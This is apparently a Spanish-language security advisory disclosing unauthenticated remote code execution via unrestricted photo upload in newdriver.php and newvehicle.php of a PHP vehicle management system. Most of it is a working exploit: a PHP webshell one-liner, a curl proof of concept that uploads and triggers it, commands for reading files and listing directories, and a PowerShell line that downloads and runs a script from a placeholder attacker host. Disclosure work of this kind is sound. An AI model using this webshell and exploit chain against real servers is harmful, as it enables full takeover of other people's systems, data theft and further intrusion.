Sistema de Gestión de Vehículos en PHP - Ejecución Remota de Código No Autenticada mediante Carga de Archivos en newdriver.php

Información de la Vulnerabilidad

Descripción

El Sistema de Gestión de Vehículos en PHP V1.0 de code-projects.org es vulnerable a una Ejecución Remota de Código no autenticada mediante la carga de archivos sin restricciones en newdriver.php (e idénticamente en newvehicle.php).

La aplicación expone un formulario de registro "Nuevo Conductor" solo para administradores en newdriver.php, que incluye un campo de carga de foto. Sin embargo, el endpoint no realiza ninguna validación de sesión — cualquier atacante no autenticado puede acceder directamente sin ser redirigido al inicio de sesión. Además, el campo de carga de foto acepta cualquier tipo de archivo, incluidos archivos PHP, sin filtrado de extensiones, validación de tipo MIME ni inspección de contenido.

Un atacante puede:

1. Visitar directamente newdriver.php sin ninguna sesión ni credenciales
2. Enviar el formulario del conductor con un webshell PHP como la "foto"
3. El shell se guarda en el directorio /picture/
4. Navegar hasta el shell subido y ejecutar comandos arbitrarios del sistema operativo en el servidor

Esto resulta en una Ejecución Remota de Código completa con los privilegios del proceso del servidor web.

Cadena de Vulnerabilidad

Unauthenticated HTTP Request
        ↓
newdriver.php (no session check)
        ↓
photo field accepts .php file (no file type validation)
        ↓
Shell saved to /picture/web_shell.php
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE — arbitrary OS command execution

Pasos para Reproducir

Paso 1 — Confirmar el acceso no autenticado a newdriver.php

Abra un navegador nuevo sin sesión (ventana de incógnito/privada). Navegue directamente al endpoint:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

El formulario de Nuevo Conductor se carga correctamente sin comprobación de autenticación ni redirección al inicio de sesión.

Paso 2 — Preparar el webshell PHP

Cree un webshell simple de ejecución de comandos en PHP:

<?php system($_GET['cmd']); ?>

Guárdelo como shell.php (o cualquier nombre de archivo .php).

Paso 3 — Enviar el formulario con el webshell como foto

Rellene los campos del formulario del conductor con cualquier valor y seleccione el webshell PHP como carga de foto:

Driver Name:        test
Mobile:             1234567890
Driver Joining Date: 2026-05-19
National ID:        test
License No:         test
License End Date:   2026-05-30
Driver Address:     test
Photo:              shell.php   ← PHP webshell uploaded here

Haga clic en Submit Query.

Paso 4 — Carga del shell confirmada

La aplicación responde con "Registration Completed!" — lo que confirma que el shell PHP fue aceptado y guardado sin ninguna validación.

Paso 5 — Ejecutar comandos arbitrarios a través del shell subido

Navegue hasta el shell subido en el directorio /picture/ y pase comandos del sistema operativo mediante el parámetro cmd:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

El servidor ejecuta el comando y devuelve la salida:

desktop-g1i9np3\dell

Paso 6 — Ejemplos adicionales de ejecución de comandos

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

Segundo Endpoint Afectado — newvehicle.php

La misma vulnerabilidad existe en newvehicle.php. Un atacante no autenticado puede acceder al formulario de Agregar Nuevo Vehículo, subir un webshell PHP mediante el campo de foto del vehículo y lograr RCE con el mismo método.

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

Ambos endpoints comparten la misma causa raíz: ninguna validación de sesión y ninguna restricción de carga de archivos.

PoC con curl (Una sola línea)

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

Impacto

• Ejecución Remota de Código no autenticada — cualquier atacante anónimo en la red consigue la ejecución completa de comandos del sistema operativo
• Compromiso total del servidor — acceso de lectura/escritura a todos los archivos, credenciales y configuración de la base de datos
• No se requiere interacción — exploit totalmente automatizado en una única petición HTTP
• Dos endpoints afectados — tanto newdriver.php como newvehicle.php son vulnerables

Archivos Afectados

Información del Proveedor

• Página principal del proveedor: https://code-projects.org/vehicle-management-system-in-php-with-source-code/
• Descarga: https://code-projects.org/vehicle-management-system-in-php-with-source-code/

Descubierto por

Syed Imad Uddin Alvi (imad alvi)
Investigador de Seguridad Independiente